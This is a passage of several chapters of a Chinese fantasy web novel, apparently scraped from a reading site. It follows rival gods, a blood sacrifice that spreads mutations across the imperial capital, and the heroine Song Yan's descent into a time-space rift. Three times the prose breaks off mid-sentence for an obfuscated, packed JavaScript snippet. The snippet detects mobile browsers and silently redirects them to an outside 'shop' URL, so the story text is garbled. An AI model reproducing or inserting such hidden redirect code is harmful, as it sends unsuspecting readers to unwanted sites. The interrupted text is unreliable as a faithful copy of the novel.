血肉侍者不太懂神灵间的争斗,但是母世界的毁灭,那两个内斗的神也有一份功劳,他于是感悟道:“您也有一位宿敌?” 神像:“不止一位。” 血肉侍者:“......” 这,他要是现在跳槽是不是太迟了些。 但他毕竟是当过神侍的人,很快便转过弯来,建议道:“既然不能躲,那便不躲,您......和您那几位宿敌他乡遇故知,您降临时只收割这个世界岂不无趣,不如把这几个宿敌都吞了。” 他知道这位神灵通过吞噬获取能量,人、物、乃至灵魂,没有什么不能成为祂能量的来源。 神像缓缓“嗯”了一声,似乎也认可这位侍者的提议。 血肉侍者道:“那您打算如何获取第三个锚点,若照您说的,这事得快。” 神像:“这便需要你了。” 血肉侍者微微蹙眉:“我?” 神像:“你当初以阵法为引,万人尸骨为祭,助我复苏。” 那是上个世界的事了,彼时血肉侍者借着祭奉生命的名义,实则设下血阵,献祭整个世界,作为投名状。 可即便如此,祂还是难以恢复到全盛状态,身后又跟着秩序的追杀,只好收割完那个世界后就来到这里。 神像身周飘起薄烟:“我需要再做一次,范围是整个帝都。” 血肉侍者沉吟道:“这不是不可以,但我这具身体不太好用,只怕做得太慢。” 一个懂事的下属,要学会合理卖惨降低老板的预期。 这关系到原本七十分的答卷,你能得到六十分还是八十分。 这就是青木和魔术师只能当棋子,但他可以当下属的原因。 谁知,神像却道:“吾打算亲自做。” 血肉侍者怔愣片刻,道:“可是您暂时无法降临,也没有锚点可供使用。” 这也是他们还在这里掰扯这掰扯那,不断制造锚点的原因。 神像眉眼不动:“很快就有了。” 神像的第二只眼睛睁开一半,冷冷凝视着他。 作为一个贴心的下属,时刻揣摩上意是核心素养,他花了半分钟分析这句话,什么也没分析出来。 上次祂是想夺舍青木,但是这具身体太老,信仰也不真切,没几天就衰竭而亡,至今鬼面还秘不发丧,内部却已经争权夺利翻了天。 难道还有其他领导看上的夺舍对象,他这个嫡系不知道不成? 血肉侍者轻轻吸了口气,这可不是好消息。 但很快他就明白了这个人是谁。 神像第二只眼睛完全睁开。 眼珠子被一只手捡起,轻拢慢捻,仔细安进神像眼眶。 薛博士咳嗽两声,眼尾垂下两抹嫣红,这确实是具不健康的身体,给祂要做的事情又增添了难度。 但是没关系。 薛博士唇边浮出一点笑意。 他从层层叠叠的玻璃柜台里选出带翅膀的鱼,为它们注射针剂后从窗口放出去。 红鲤鱼身有双翼,从窗口滑到夜空,天幕漆黑,只能看到几个黑点渐渐远去。 研究院是个好地方啊,薛博士眯起眼,这批飞鱼会成为第一批污染源,最后一个锚点没那么重要,却是仪式必不可少的部分。 帝都这么大,总能有合适的锚点的。 隔壁,机械科。 机械科一向早早关门,今日却亮着灯。 织星望着飞向夜空的几条红鲤鱼,陷入沉思。 好像、似乎,这几条鱼他在死前也见过,那还是上个世界,那位名号为“血肉侍者”的神侍时不时造出新品种。 他只记得两样,一样是没毛蜥蜴,一样是会飞的鲤鱼。 他当时还想,鱼会飞有什么用,又不能使肉更肥美。 但那些人说这是生命的一大进步,那位侍者成功把水栖生物改造成两栖生物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556320|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不懂。织星摇摇头,又盘起手里的机械套件。 他向来不擅长与人交际,所以后来也没搞懂为什么死亡不是结束,一醒来,老板从神变成了研究院。 后来凭借过硬的技术,升成机械科主任,这又是后话了。 小机器人把他脚边打扫干净,抬头道:“这一切确实是有原因的。” 织星低头:“亚当,你能告诉我为什么吗?” 不管是前世,还是今生,他好像都在一团迷雾中打转,前世以为黑山羊计划是神交予他的方舟,可是后来又不敢确定了。 因为黑山羊其实是造不出来的。 它只能作为战争机器,而不是方舟,因为它的运行需要大量能量维持,如果使用它去收割其他世界,自然是一台完美的机器。但是如果用来救人,它最多运行半个世纪就会枯竭。 织星并不想战争,所以他后来终止了黑山羊计划。但很快,血肉侍者也发现了这件事。 于是他利用黑山羊做了另一件事,他将黑山羊作为方舟展示,向所有人允诺这具机甲会带着它们找到新家园,然后,杀了所有人。 那些人肉身死去,精神体却被上传黑山羊,织星目瞪口呆地看着侍者做完这一切,对他说:“你知道吗,你们所有人的计划都很天真。” 织星当然不觉得他是对的,但又十分困惑。 为什么,明明杀了这么多人,又要当好人,让这些人以电子生命的方式活下去。 那人道:“我从来不觉得你或者玄凤能成功,你们总是想救所有人,那些人也乐得被你们救,但你知道吗,织星,人最多能救一救自己。” “更多人连自己也救不了。” 他道。 织星沉默半晌,说:“那你这算什么,杀了他们,又救......也算救了他们。” 上传黑山羊的意识近乎永生,如果一直让黑山羊沉眠,这些能量可以供电很久很久。 那人道:“算是赎罪吧,我利用他们为我铺路,也为他们收尸。” 那是他们最后的对话。 织星觉得这人很虚伪,方舟是个骗局,黑山羊造不出来,这些平时在逃亡主义和殖民主义间争论不休的人终于安静了,织星却心里空落落的。 如果没有一个办法能阻止灭亡,那么他们能做的,也只有清凉地迎接死亡了。 于是他和他的机械师们,往休眠舱里摆满了谷子和手办,躺进自己亲手打造的棺材。 再次醒来,织星不在自己的休眠舱里,身边摊了一排机械零件,小机器人围着他打转,礼貌道:“你好,欢迎来到新世界,我是亚当,将引导你在新世界的生活。” 那个由自己亲手写出代码的超级人工智能亚当? 织星愣住了。 亚当道:“不是你创造了我,而是我选择了你。” 织星不爱和人说话,但他不傻:“所以说我的世界的灾难是有预谋的,你也是其中之一?” 小机器人点了点头,脖颈连接处蹦出一根螺丝,被它自己安了回去。 它道:“织星博士,你只需要相信,我是没有恶意的。” 织星于是被这句话哄着一直走到今日。 可时至今日,他也没有明白那个预谋是什么。 但这不妨碍他厌恶血肉侍者的心。 于是他望着窗外翱翔的红鲤鱼,手机拨出一个号码。 对面的值班人员听起来有些困。 “你好,这里是议会厅,今天没有会议,您是不是打错了?” 织星道:“不,我打给的就是议会厅,请帮我转接议会长。” 对面有点恍惚,以为自己听错了:“我就是个门卫,你......您怎么觉得我能找到议会长大人?” 织星:“嗯,这是个问题,这样,我教你个法子,议会厅后面是王宫,王宫西南角摄像头和门都坏了,你走那里进去找他,就说研究院的织星有消息送给他。” 对面顿了顿,似乎在犹豫。 织星并不担心她会拒绝。根据可能性预测,她有百分之八十的概率会答应这件事。 于是他加了一把火:“这事很重要,办成后不仅议会长会提拔你,我也任你开条件。” 124. 您即将通往结局(十二) 124 * “好高的天空,我好久没有见过这样高的天了。”梦游者微微仰头,感叹道。 深夜,天幕一片深蓝,偶有几个黑点飞过,宋言一时没看出这个高和远从何而来。 此前苏妮去追那两个不明身份的黑衣人,宋言却管不了这些,直接跟梦游者回到地面。 所幸梦游者还记得十三年前谢主任出逃的路线,而这条出路也还未堵塞。 十三年后,谢主任想救的实验体,终于从地下自己爬了出来。 梦游者侧过脸,问道:“我们去哪里找他?” 宋言沉吟片刻,答:“议会厅。” * 议会厅今夜灯火通明。 沈桉一夜未眠。 先是被盟友告知计划有变,但又不知如何变,后来月上中天,门卫又给他带来织星的消息。 确实是挺重要的消息。 所以胭脂坊那边的事情解决后,他便让方可去研究院抓人。 沈桉隐隐有预感,今夜还会有人来,干脆将议会厅灯全点了,一室亮堂,他坐在主座,目光却看向窗外。 夜黑风高,怕是潜伏在暗处的魑魅魍魉都该出来了。 方可领命从议会厅出来时,兜头撞上来人。 她头也没抬:“啊不好意思,军令在身,改日赔礼。” 议会厅一盏灯掉下来都是砸死几位栋梁,不过现在大多数栋梁在刑狱司,方可对这些人也没必要客气。 方可急着走,对面主动让开道路,两人擦肩而过时,她听到一道沉静的声音。 “方队长?” 方可骤然抬头。 她看到一张熟悉的脸,可这张脸无论如何不该出现在这里的,方可诧异道:“宋言?你怎么这里?” 宋言淡淡道:“方队长不是也在这里吗,你来做什么,我便也是来做什么的。” 这......倒也挑不出错处。 方可来不及去想她刚招进来的新人这段日子如何入了议会长的眼,可今夜已经发生了太多不同寻常的事情,她只好拍了拍宋言的肩,欲言又止:“保重。” 宋言眨了眨眼,缓缓点头。 方可走出一段距离,回头看,宋言已经看不到背影了,夜色沉寂,风却不息,她心里纵有千般疑问,也只好暂时搁下。 她们都有彼此的事要做。 那就祝她此行顺利吧。 另一边。 宋言走进议会厅的时候,里头正在吵架。 其中一个她下午刚见过面。 宫应隐晦地瞥了一眼沈溯,道:“子时帝都突然爆发瘟疫,刑狱司正在控制波及范围和人数,具体原因......尚未查出。” 他报告的人坐在主座,沈桉闻言,淡声道:“什么叫尚未查出?” 宫应抿唇道:“这场瘟疫爆发得太突然,症状又古怪,我们的随行医师检查后说,这看起来不像瘟疫,倒是更像畸变。” 宫应半夜从床上爬起来处理公务,自然没什么好脾气,但当他赶到现场,亲眼所见如冬日凉水,他登时冻醒了。 头上长角、长出另一张脸还是好的,更有甚者,整个人像被戳破的气球,瞬间干瘪成一张皮,然后那张皮便在地上缓缓蠕动,悄悄包裹住另一个人,像胃袋一样套住他。 宫应在那个人被消化一半时使用[死亡宣判]。 同时,他心里隐隐有预感,今夜的瘟疫,或者说畸变,可能比十三年前畸变种入侵还要艰难百倍。 宫应陈述完,见沈桉面上依旧平淡,心里忽然多了点底,道:“您早就料到今夜会有这些事情?” 议会厅从里到外亮着灯,方才宫应进来的时候,军部那位方队长正出去,他心中虽然疑惑,但出于对议会长的信任,并未质疑。 但沈桉迟迟没有回答,便更像是默认了 宫应这边怀揣对沈桉的误解,将将沉住气,但更多人是没有这种心有灵犀的。沈溯就一点没听懂,直言道:“舅舅,宫将军,今夜......帝都有大事发生吗?” 沈桉脸上终于有了表情,他似乎有些头痛,揉了揉太阳穴,问的是宫应:“我之前和你说过。” 宫应梗了下,回答:“议会长,您家侄子要是铁了心想干什么,我拦得住吗?” 沈溯左右看了眼,不太理解,只好分析自己得到的信息:“舅舅,今夜胭脂坊查出和鬼面勾结,子时突然爆发瘟疫,似乎是有人针对我们。” 不然不会都挑在一个时间点挨着个蹦出来。 听他分析,沈桉顿时觉得头更痛了。 他轻轻叹了口气,道:“宫将军,你等会出去时,顺路把小溯也送回家吧。” 沈溯接嘴道:“舅舅,可是宫将军和沈府并不顺路......” 几乎是刚出口,沈溯便停下了嘴,他突然意识到,沈桉并不是在说“顺路”,而是在撵他走。 他这位舅舅从来不希望他参与太多事关帝都的大事。 沈溯一直不理解这点,沈桉再有能耐,总归是会老的,虽说他已执掌沈家许多年,但终归是要培养自己的继承者的。 他不娶妻生子,自己也不能生,自然只能从侄儿中挑选。四个侄儿,一个年纪最小的早被鬼面掳走,剩下三个,两个是智障,只有他沈溯一个人木秀于林。 沈桉这位子,不传给他,难道传给他那两个智障弟弟? 沈桉又叹了口气,指节敲击扶手,沉水木发出沉闷的响声:“小溯,你还是沉不住气。” 沈溯到底年纪不大,又被最崇敬的人这样评价,一身修身养性的贵公子气派登时喂了狗,脱口而出:“议会长,我以为我至少有一点知情权......” “劳驾,借过一下。”沈溯的话刚开头就被人打了回去。 沈溯侧目而视,心里一肚子火终于达到临界点,正想干干脆脆怼回去,一看,又闭了嘴。 那人正是他下午洽谈过的“保镖”。 宋言来的路上已经和秩序谈过。 系统在中间做传声筒,秩序不能降临,宋言也没空进天赋塔,只好用这种形式沟通。 宋言了解到秩序原本的计划是反过来利用另一个毁灭的锚点,譬如姜维,譬如沈姝,他们被召回帝都就是因为秩序打算利用锚点逼迫毁灭降临。 主动降临和被动降临,二者截然不同。 前者收割世界能量为己所用,后者却是沦为他人俎上鱼肉。 为了实施这个计划,秩序原本打算让自己的侍者降临在一个合适的容器里。 沈桉就是那个被选中的容器。 但很遗憾,亚当不仅没有夺舍成功,还被人家当甜点吃了。 沈桉因此获得天赋[预知]。 他也因此得到与神灵对话的机会。 秩序没有说他们是怎么谈的,但从此之后,沈桉就成了秩序在人间的代行者。 现在的问题是,姜维和沈姝还没有抵达帝都,秩序计划中的步骤被毁灭突然发疯打断,万事尚未俱备,东风却已经到了。 毁灭锚点不齐,定然无法降临,虽然他这十几年暗中培育了一些符合条件的锚点,但始终缺了一样,如果想强行降临,要么像上个世界一样使用血祭,要么短时间内培育出第三个锚点。 祂选择了前者。 但血祭不止能打开神到人间的通道,也能制造时空乱流,届时毁灭便能借着时空乱流遁逃。 秩序追杀祂追了这么多年,两人就像对方肚子里的蛔虫,毁灭稍有动作,秩序就知道祂要放哪门子屁。 饶是如此,秩序却并不能阻止祂。 如果祂真身降临,秩序可以顺着祂降临的缺口,也降临人间。但如果祂只是遁逃,一入时空乱流,秩序根本找不到祂的影子。 这也是毁灭昭告自己的野心,完全不怕秩序阻止的原因。 于是秩序对宋言道:“但是你不一样,你和祂本出同源,一体双生,你们如果同时卷进时空乱流,必定相逢。” “卡巴拉这些年又产生了几个神格,但一直没有新的神灵诞生,你选一个神格,这样遇到祂的时候,不会太吃力。” 宋言便从秩序划出来几个神格中,选了金光灿灿的那个。 秩序唏嘘道:“这么多年,你还是没变,喜欢亮晶晶、金灿灿的东西。” 宋言感觉祂在对着自己怀缅某位故人,而她是那位故人的纪念品,但是一看塞到手里的神格,那点“莞莞类卿”的吐槽又收了回去。 她和另一个毁灭之间,本来就只能有一个活着。 宫应对沈溯心里的憋闷和新进来的人都没有兴趣,他满心盘算怎么解决帝都的骚乱,于是道:“议会长,今夜帝都的瘟疫,恐怕会很麻烦。” “那不是瘟疫。”一道女声插话道。 宫应顺着声音来源看过去,那女子一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566054|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉着前面人的手,有些紧张,却还是道:“那是研究院的东西。” 宫应皱起眉:“你说什么?” 宋言拉着梦游者的手,道:“她的意思是,今夜帝都那些产生畸变性状的人,是因为研究院的药剂畸变的。” 这下沈溯和宫应都看了过来,沈溯抿唇道:“宋姑娘知道得好多。” 宋言点头:“我还知道更多。” 她没管这两人,抬头看向主座,沈桉也正好在看她,视线交错一瞬,宋言遥遥点头示意:“秩序让我来找你。” 沈桉似乎在评估眼前人的可信度,静默片刻,终于下了决断。 他道:“宫将军,麻烦你了,今夜帝都,还有我这个侄儿,拜托你了。” 沈桉又望向另一侧,这次目光停留得久些,仿佛从女孩身上看到了故人的影子。 他缓缓开口:“十三年前研究院最自信的王牌实验体,我后来特地下过令,让他们不要立刻销毁你,但研究院的人上报,你被送回帝都那一天,已经被强制销毁。” 沈桉回忆了下,道:“当初研究院交过一份实验报告,上面还有你的照片,我记得你的研究员,是姓谢?” 梦游者愕然抬头。 她不知道该不该点头,只道:“事出有因,我并没有被销毁。” 沈桉似乎只是随口一问,也不太在意答案,道:“既然你是当初培育的实验体,不如帮着宫将军处理今夜帝都的动乱,若有功,当行赏。” 梦游者咬着唇,却没有说是。 她又拽了拽宋言衣角:“这是什么意思,我上次去前线已经搞砸了,既然认出我,还要用我?” 宋言在一旁听着,隐约琢磨出点不一样的意思,小声道:“也许是想用你,今夜帝都太乱了,人手不够,你若是愿意去,就去吧。” 梦游者抿唇不语。 她的确是为了对付畸变种,为了人类的未来被造出来的,但地下十三年,再炽热的壮志也被浇成一团灰烬,现在若是有人在她面前提什么研究院,什么王牌实验体,她第一个就要骂的。 什么实验体,什么异能改造,改出了一堆笑话吗? 但是她心里又不愿承认自己是个笑话。 梦游者斟酌片刻,挪到了宫应身后。 各人有各自的归处,沈桉挥了挥手,宫应便明白这意思是要他们出去,不要妨碍里面的正事。 他不动声色打量了眼宋言,总觉得自己在哪里见过她,但是又实在想不起来,遂放弃,带着身后两人出去。 宋言倒是开了口:“几位留步。” 她道:“议会长,我有点私事处理下,请给我一些时间。” 沈桉本来也不太着急,仍坐在主座上,微微颔首。 宋言便先和梦游者交代完后事,又走到沈桉跟前,摊开手掌:“我想同沈公子借一样东西,还希望你同意。” 沈桉微微皱眉:“什么东西?” 宋言:“长命锁。” 沈溯听完,第一反应竟然是回头看沈桉,但头转到一半,他又觉得这动作有失格调,于是矜持地抬起头,道:“宋姑娘,我有没有同你说过,这东西对我来说很重要。” 宋言:“我知道,这锁是议会长送你的,所以我借需得长辈同意,今天议会长也在这里,我才问的。” 沈溯没想到她这都知道,可是她要问沈桉?他那个不食人间烟火的亲舅舅?还是借长命锁这种事情,她也是敢想! 沈溯笃定沈桉不会同意。 当初沈桉把锁给他的时候,可是说了,这锁只他有,几个弟弟资质配不上,他当时想,这锁便是对他继承人身份的认可,他谁也不给碰,除非是他未来的夫人! 宋言怎么好意思说出“借”这个字的! 可是身后传来沈桉的声音:“小溯,把锁给她。” 沈溯愕然睁大眼,回头看去,沈桉坐在高位上,半阖上眼,神情疲倦:“给她吧,这锁现在已经对你没用了,日后我再给你个新的。” 不是这是锁的问题吗? 沈溯心中震荡。 宋言还只是说借,但沈桉竟是直接打算给吗? 沈桉叹了口气,也不好当众解释,只是重复道:“小溯,把锁给她。” 宋言掌心落下一枚金灿灿的长命锁。 尾端缀着个镂空铃铛,透过花纹,能看到里面装着粒绿色的种子。 生意盎然。 125. 大结局(一) 125 * 街道。 刑狱司的囚车简单改造后,拉走一车又一车尸体,地上血积成一小片湖泊,梦游者低头,看到自己的倒影。 囚车缓缓驶过,一颗头从车上掉下来,滚到梦游者脚前。 这颗头在重力作用下翻了个边,露出后脑,两个黑漆漆的窟窿下,裂开一条缝,窟窿和缝中间有一个小小的凸起。 这是一张尚未形成的人脸。 宫应也看到了这张脸,冷声道:“这东西在眼睛长出来的瞬间,底下那条缝会完全咧开,然后白花花的头皮整个反转过来,套住人的头,直到完全消化。” 随行的小卫兵没听懂,直愣愣问道:“什么叫完全消化啊?” 梦游者解释道:“就是这条缝里,会长出牙齿和舌头,分泌粘稠的消化液,这差不多是寄生了。新长出的脸其实是一种畸变种,宿主就是他们新生的第一顿饭。” 小卫兵低头看,果然在后脑的缝里看到新生的幼齿,和一条中间分叉的舌头。 他浑身一哆嗦,躲到宫应身后。 宫应嘴角抽搐一下,却没说什么,转而道:“议会长让你来协助我,你打算怎么协助?” 梦游者沉吟片刻,回答:“或许......我可以让他们都睡着。” “睡着?”宫应心里冷笑一声,人头被他一脚踢到空中,旋转几下,正好落在路过的另一辆囚车上,“你的意思是你可以催眠整个帝都的人,让他们停止畸变?” 梦游者没听出他话里的讽刺,只道:“我应该是可以的......但这不叫催眠,我只是给所有人织了一场好梦。” 她的手在空中比划:“有谁会拒绝一场美梦呢?” 宫应没说话,梦游者便觉得这该是默认了,她微微抬手,手心飘出一道绚烂的彩虹,直直跃向夜空,七色在空中铺开,转眼便填满整个夜空,如一场绮丽的幻梦。 小卫兵看呆了,下巴几乎要落在地上,他兜里通讯器“滴滴”地响,半天才想起掏出来,这一看,更呆了。 他下意识把通讯器拿给宫应看:“将军......真的有用,清水街、安宁街,还有泰来街那边的畸变人全都突然停止攻击行为,倒在了街上!” 他还想分享自己的喜悦,却被宫应冷淡的声音打回来:“知道了。” 小卫兵不明白这么好的事,宫将军为什么还是没有一点表情,只好转头去看梦游者,发现她神色也很平静,像一柄多年后终于出鞘的剑,剑如流风回雪,光华四溢,回鞘时却一片清白。 梦游者收回手,衣摆如两片垂下的云,她声音有些疲倦:“接下来的事该交给您了,我也可以直接让这些人在梦中死去,但我想这样终归不太好。” 这岂止是不太好?小卫兵又被她吓了一跳,要是这些人都死了,帝都也就不用存在了。 毕竟今夜瘟疫的波及范围,是整个帝都。 小卫兵偷偷瞧她,内心腹诽,怎么看起来文文静静的姑娘,出口这么野。 宫应被她梗了一下,微微点头:“接下来你不用管了,这些人......刑狱司会安置好。” 这话正合她意,梦游者点头,便要去做下一件事,临走时还是留下一句话。 “宫将军,如果你要根治今夜的瘟疫,恐怕得去研究院找答案。” ...... 小巷。 今夜众生安眠,可也有人一夜未寝。 青年站在巷口,怀里抱着条软体动物,腰韧腿长,影子在路灯下拉得纤长静默。 他怀里传来一阵“呜呜”声,青年皱眉道:“别吵,嘘,有人来了。” 他远远望见小巷尽头走来个高挑瘦削的女子,先是一喜,而后心却直直沉了下去。 那不是他要等的人。 女子在他跟前停下,公事公办道:“有人托我给你带句话,不要等了,回去吧。” 姜夜白微微蹙眉:“托你带话?” 梦游者点头,想起宋言的交代,补了一句:“她说你就当她出了趟远门,归期不定,她不在的这段时间,房子和账户的钱随便你用,反正她之后也大概率用不着。” “哦,她还说,你不用推辞,她看你这段时间在帝都也没处可去,左右房子也是空着,还不如给你用着。” 姜夜白眉头皱得更紧了,沉声道:“不是,这是房子的问题吗?” 他被这句“出门远行”砸了个七荤八素,心里泛起一丝不知道什么滋味,电光火石间,他拦住梦游者去路,道:“不行,我得见她。” 梦游者没见过这么难缠的男人,轻轻呼出一口气,道:“自己去议会厅。” 姜夜白心间一瞬闪过多个念头,道:“为什么是议会厅?你说她出门远行,那也该今夜离开帝都吧。” 他还是拦在巷子口,梦游者心里不太高兴,就想从旁边侧身出去。 巷子里灯坏了,这人在梦游者面前一直是团轮廓模糊的黑影。她侧身经过青年时,借着巷口的灯,终于看清他的脸。 梦游者那点不高兴便被涌上心头的怔愣压了下去。 倒也不是因为他长得多倾国倾城,而是因为梦游者记得,她是见过这张脸的。 她旋即反应过来,迅速道:“不,你不能去议会厅。” 她道:“你去便要坏事。” 姜夜白不解:“为什么?” 梦游者缓缓道:“因为你是原本的,第三个锚点。” ...... ...... 宋言这边的情况有点复杂。 先前另一个毁灭故技重施,利用血祭遁入时空乱流,由于事态紧急,宋言几乎是一到议会厅,就在秩序指引下开启仪式,将她也送进时空乱流。 对于秩序来说,宋言更像是锚点,祂需要通过宋言来定位她的秽,否则任由那条滑不溜手的鱼一溜,下次再见,不知又是什么光景。 除恶务尽啊。 时空乱流像是一块块碎片萦绕而成的星云,宋言进入沈桉准备好的仪式里,周身亮了一遭,后背像是被谁推了一把,转眼便落入浩瀚星海。 她抬手尝试触碰其中一块碎片,还没反应过来,人已经跌了进去。 眼前一片漆黑,宋言只感觉自己在不断下坠,坠入无边黑夜。 不知道往下坠了多久,她眼前终于出现一点葱郁的绿色。 那是一棵高大的乔木,南方特有的品种,四季常青。 树下有一个女孩和一只狗,几乎是宋言后背刚碰着湿软的泥土,女孩似有所感,目光穿越层层叠叠的灌木,向这边望来。 下一秒,大黑狗飞身扑来,她还没反应过来,粗粝温热的舌头便像抹布一样糊了宋言一头一脸。 大黑狗兴奋地吠起来,树下,女孩慢吞吞走来,停在宋言面前,黑狗左右看了看,反而不吠了。 宋言似乎从它乌沉沉的眼瞳里看到了疑惑。 这无疑是条极通人性的狗。 女孩穿着白裙子,弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579347|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰不太方便,只好低头同宋言讲话:“你是不是要跑?我跟你说,你跑不要挑这种时候,白天人多,你要跑就挑深夜,那时候人少。” 宋言想了想,问道:“跑什么?” 她看这女孩有点眼熟,但是实在想不到在哪见过她。 女孩诧异道:“你竟然不是要跑吗?刘二嫂子前几天就跑了,她好像是四年前被卖到这儿来的,连生了三个儿子,腿也打断一条。老刘家以为她总该安分了,让她下地干活,就没带锁拷,她趁他们不注意,就跑了。” 宋言觉得这故事听起来好熟悉,想让她细说,耳边突然传来沉闷的响声。 几粒石子落在她身侧,还有几粒砸在她身上,石子夹着泥巴,脏兮兮的。 女孩的白裙子也烙上一片泥污。 黑狗冲着石子来处狂吠起来,想过去撕咬他们,被女孩拉住,她轻轻叹了口气:“小黑,算了,好狗不和赖狗斗。” 不远处,草丛传来一片哄笑。 宋言咂舌,心念微动,总算明白这是掉进了哪里。 秩序给她解释时空乱流的时候,欲言又止,只说她可能遇到过去的人和事。这个过去,当然也包括她穿越前的过去。 宋言现在忽然能理解秩序的犹豫了,祂希望宋言一心寻找她的秽,这是正事,其余可能让她偏离正事的都是杂事。 可宋言望向草丛,心里升起一股微妙的玩味来,她笑了笑,拉起女孩的手:“好狗不和赖狗斗,那也得对方是狗才行,万一对方连狗都不是,是恶鬼呢?” 女孩思索:“恶鬼的话,那岂不是更不该招惹了......隔壁家嫂子是和我这么说的。” 宋言微笑,她当然记得隔壁家嫂子说了什么。 她说,大事化小,小事化了,人不要和别人计较,日子才过得舒心。 不过她的这个“人”,可能只包括女人,她儿子去外面打架,她可不是这么说的。 那时候她会说,男孩子嘛,是要淘气些,和人打架?打赢了没有,打赢了就多吃碗饭,打输了更要多吃点,下次找回场子来。诶对,这才是顶天立地的男子汉! 于是宋言望着女孩迷蒙的眼睛,轻声道:“可是世上哪有什么恶鬼,不过是人心恶了,想吃同伴,便披上恶鬼的皮,先把对方吓掉胆子,就好吃了。” “对付恶鬼,你要比他们更恶,恶鬼被你吓得露出人皮,就再也不敢装鬼了。” 女孩似懂非懂地点头,她觉得宋言这番话很有道理,心里不自觉生出亲近来,不远处,草丛里又传出一阵哄笑,一阵石子雨朝她们砸来。 这次石子被宋言悉数挡下。 那帮男孩子见石子没砸到人,纷纷叹气,其中一个忽然提议:“扔石子有什么意思,丫头们惯怕蛇啊虫的,我们偷偷地......把这些抓来,嘿嘿。” 他这话说完,没等来想象中的应和,同伴们反而一片寂静,他不太习惯这种安静,紧接着道:“你们不会也和丫头似的,怕虫怕蛇吧?” 他身后,终于有人回答他。 “我是有点怕呢,看你这么喜欢,不如你先探探路?” 那人比他高,比他有力气,他挺直了胸,也就堪堪到那人腰部。 平素懦弱胆小的宋家丫头站在她身后,身边仍旧守着条大黑狗,想到这里他就来气,要不是这条狗,宋家丫头上次就该被他推下粪坑! 可是他来不及再想下去了。 他被面前的女人揪住后颈皮,从地上拎了起来。 126. 大结局(二) 126 * “事情就是这样子的,你应该还记得那个梦,那是我织的。”梦游者道。 那时她还躺在玻璃棺材里,某日薛博士忽然要求她为一个千里之外的人织梦,梦有很多种,但薛博士让她织的不是噩梦也不是美梦。 他要她织一个,能让人发疯的梦。 “你要让这个人分不清梦境和现实,最好精神永远迷失在梦里,梦境必须真实,最好取材自他最不想回忆的过往。” 薛博士隔着一面玻璃,这样说。 梦游者没有选择,当一个人连自己的死法都选择不了的时候,当然也无法决定他人的死法。 但她多嘴问了一句:“为什么要选这个人?” 薛博士嘴角翘起:“第三个锚点迟迟造不出来,我想,既然我们造不出来,不如就用现成的。” 而这个现成的锚点,就在梦游者眼前。 她以为这下姜夜白该明白事情的利害。锚点,既是坐标也是容器,虽然薛博士没有明说,但梦游者这么多年在地下也不是白干的,多少明白薛博士想干什么。 姜夜白静默地听她说完,总结道:“所以你们的计划是,让她一个人去牵制那个什么神,我们其他人就在底下等?” 梦游者:“这不是我们的计划,是她一个人的计划,不过都到她那个层次了,我们这些人能做的也只有等了吧。” 看在姜夜白与宋言相识,甚至还算自己的受害者的份上,梦游者同他多说了一些,但也只是一些而已,就连她都不太懂宋言和议会长那些人到底想做什么,只知道这是个很重要的事情,所以绝对不能让姜夜白把事情搞砸。 看到姜夜白打消去议会厅的打算,梦游者缓缓松了口气。 她道:“你现在不能去议会厅,也不要急,你要是去了才是上赶着送。” 姜夜白沉默片刻,道:“所以拯救世界的任务就全压在宋言肩上了?” 梦游者点头道:“也只有她能行,这么多年来只有她一个人闯进地下室,她能把我从地下室拉出来,我相信她也能把帝都救出来。” 姜夜白便不说话了。 按理说,万事尘埃落定,即使没落定的,也与他无关了,不管是鬼面、议会厅还是别的什么,都有专人操心,属实用不着他来管。 他兜兜转转,又成了个一无是处的闲人。 可唯独有一件事,他始终放不下。 他有点想不明白,一个人是要怎样才能长成宋言那个样子,几十米的地下管道说跳就跳,时空乱流说钻就钻。 听梦游者解释的时候,他心脏几次骤然加速,是被吓的。 讲道理,就算他在荒野从少年长大成人,也没见过这样不把自己当回事的,他看着别人玩命,包括他自己涉险,也是清楚对面并不能把自己怎么样,顶多摔胳膊断腿,拼起来又是一条好汉。 可是这代价放到宋言身上,他就觉得重了些。 更别说宋言这次要面对的,不是小打小闹,是一个收割了无数生灵性命的怪物。 于是他想了又想,还是道:“有没有什么办法,可以帮一帮她。” ...... ...... 剁骨刀把骨头剁成一截一截,宋言将筒子骨扔进锅里,又盖上锅盖,才看底下灶台的火。 火烧得正旺,宋言估计,这么烧下去,两小时后应该能好。 大黑狗蹲在灶边守着,尾巴来回乱摇,黑眼珠一会看宋言,一会看女孩,在两人之间打转。 它还是有些疑惑。 